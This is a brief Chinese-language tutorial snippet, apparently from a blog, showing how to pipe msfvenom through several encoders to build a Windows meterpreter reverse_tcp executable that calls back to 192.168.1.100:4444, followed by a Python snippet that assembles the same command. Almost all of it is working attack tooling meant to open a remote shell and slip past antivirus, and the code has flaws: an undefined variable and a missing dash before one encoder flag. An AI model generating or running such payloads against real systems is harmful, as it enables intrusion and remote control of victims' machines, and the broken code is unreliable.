除第一次需要指定 payload 外, 其他都用 -p -
代替, 多重编码需要指定 --platform
和 -a
并用 -f raw
输出, 最后一次编码更改为 -f exe
1
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -p - -e x86/jmp_call_additive -i 2 -a x86 --platform windows -f raw | msfvenom -p - e x86/alpha_upper -i 1 -a x86 --platform windows -f exe > msf.exe
|
Python 实现
1
2
3
4
5
6
7
8
|
args = 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 '
encoders = {'x86/shikata_ga_nai': '5', 'x86/jmp_call_additive': '2', 'x86/alpha_upper': '1'}
for c in list(encoders.keys())[:-1]:
encs += '-e ' + c + ' -i ' + encoders.get(c) + ' -a x86 --platform windows -f raw | msfvenom -p - '
encs += '-e ' + list(encoders.keys())[-1] + ' -i ' + encoders.get(list(encoders.keys())[-1]) + ' -a x86 --platform windows '
args += encs + '-f exe > msf.exe'
|